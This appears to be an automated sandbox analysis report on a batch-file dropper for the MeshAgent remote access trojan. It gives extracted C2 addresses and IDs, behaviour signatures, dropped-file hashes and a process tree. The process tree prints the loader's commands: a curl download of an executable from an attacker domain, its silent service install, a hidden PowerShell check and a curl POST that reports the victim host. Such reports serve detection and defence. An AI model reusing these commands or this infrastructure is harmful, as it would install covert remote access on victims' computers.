Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 06:17

General

  • Target
    documents.bat
  • Size 2KB
  • Sample260910-g173kassfx
  • SHA256 257e4a96c2cb5dc43e13a2e51d4a125974f91381f2fc0f23bceb75804c77d442
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • meshagent

Version
  • 2

Botnet
  • Anon

C2
  • http://pro.docsupdates.com:443/agent.ashx

Attributes
  • mesh_id

    0x0AC694DACD8A806318238C10609F04C742E733C34A20E3E7B1294305847AB8E69261C3D8CE59AFF8486F5A6EA644108C

  • server_id

    FC480CDE5A5133AADFDCC25AF817C744D126C80A6D2F71AD839EDF5684A37BDE87AAD23720518285EE49EE13E5911263

  • wss

    wss://pro.docsupdates.com:443/agent.ashx

Signatures

  • Family: MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

  • Detects MeshAgent payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 14 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 12 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\documents.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\documents.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3436
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1184
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:6084
        • C:\Windows\system32\timeout.exe
          timeout /t 3 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:2912
        • C:\Windows\system32\curl.exe
          curl.exe -sL --retry 3 --retry-delay 2 -o "C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe" "https://cfg.docsupdates.com/agent"
          3⤵
          • Downloads MZ/PE file
          PID:5984
        • C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe
          "C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe" -fullinstall
          3⤵
          • Sets service image path in registry
          • Executes dropped EXE
          PID:6012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "if (Get-Service | Where-Object { ($_.Name -match 'docs' -or $_.DisplayName -match 'docs') -and $_.Status -eq 'Running' }) { exit 0 } else { exit 1 }"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2784
        • C:\Windows\system32\curl.exe
          curl.exe -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[YRWKJLDU/Admin] docs running OK\"}" "https://cfg.docsupdates.com/report"
          3⤵
            PID:1084
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:4252
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5760
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2964
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:5976
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4772
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:6044
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of WriteProcessMemory
          PID:5256
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4760
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:5828
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:828
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4836
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:1340
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1044
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:1296
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5020
          • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
            MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
            2⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            PID:3800
        • C:\Program Files\docs\Mesh Agent\MeshAgent.exe
          "C:\Program Files\docs\Mesh Agent\MeshAgent.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          PID:2452

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              MeshAgent.db

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.db
              • Size 188KB
              • SHA256 efe4e65b7696e987c88b3392d76fe097a87314cc6d5629f8723b6638a300cee4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MeshAgent.db

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.db
              • Size 188KB
              • SHA256 8fc5b076c0c7bbe4a7380414531cc60e5d6e8efc30cead41d4e923168e3661b8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MeshAgent.log

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
              • Size 362B
              • SHA256 d3a4672594cd8bbc84fc685bf20c7edcd079c64559896ae72de412d53762aa4a
              • MD5 SHA1 SHA512 TLSH

              MeshAgent.log

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
              • Size 543B
              • SHA256 e64a167c0c5952c2b6f45a17271c55cf9738164adb9c5c04b20db494407641ef
              • MD5 SHA1 SHA512 TLSH

              MeshAgent.log

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
              • Size 724B
              • SHA256 f562fd81370a3fef9244cb7ebaea0820f948079dacd3ab943aba7e27155911af
              • MD5 SHA1 SHA512 TLSH

              MeshAgent.log

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
              • Size 905B
              • SHA256 cb9e18b5ce933eff5d2e1a05b606bf56f3199db50e20359b2e9fd2967ca04859
              • MD5 SHA1 SHA512 TLSH

              MeshAgent.log

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.log
              • Size 1KB
              • SHA256 dbb4dce4e05d31cab6576990e3c1b90528c5e2750b5d93fc93c5fe91dd46a624
              • MD5 SHA1 SHA512 TLSH

              MeshAgent.msh

              • Path C:\Program Files\docs\Mesh Agent\MeshAgent.msh
              • Size 27KB
              • SHA256 0af1b0659a3cd2e29dfb80e0d8bd18597f06ca0ee5f8505b3bf75d5122e68a53
              • MD5 SHA1 SHA512 SSDEEP TLSH

              cloudsync-service.exe

              • Path C:\Users\Admin\AppData\Local\Temp\cloudsync-service.exe
              • Size 3.3MB
              • SHA256 26df3918926645c0cc830fe30a998b1a9a390d6327045226c98c323353f266d9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_25zxw40s.oxb.ps1

              • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_25zxw40s.oxb.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 1KB
              • SHA256 9755b1e9f88f8306c157dd6385673f972e974cb6cb353821ae00cc72f5e6ba9b
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 1KB
              • SHA256 86f7aa51394ad7daf982868d436f0c81c031c7e2f8c8ab1615825d171f31348e
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 1KB
              • SHA256 a54f630d9d20229526c11533fe82c6cd17ee730349f66a6ff19998ddc0b8e722
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 1KB
              • SHA256 eb85e2c88745c98292dc1eddac1b6a6c8e939d8ef2c78c386f9baaab9a75f731
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-Interactive

              • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
              • Size 1KB
              • SHA256 fa29444ecb39d706529596a36f8e5aa4236ed653e49fef7a2e9ed56bdaaf5112
              • MD5 SHA1 SHA512 TLSH

              F2F974C76C8D46979DEF029C54C73AC281B1205A

              • Path C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\F2F974C76C8D46979DEF029C54C73AC281B1205A
              • Size 1KB
              • SHA256 ad7c76b9ec32b6fdfa170758c7507ff8af8a9dfbe46842ab1522961f167a26f5
              • MD5 SHA1 SHA512 TLSH

              memory/2784-11-0x0000020D38750000-0x0000020D38772000-memory.dmp

              memory/2964-27-0x000001FD70DF0000-0x000001FD70E38000-memory.dmp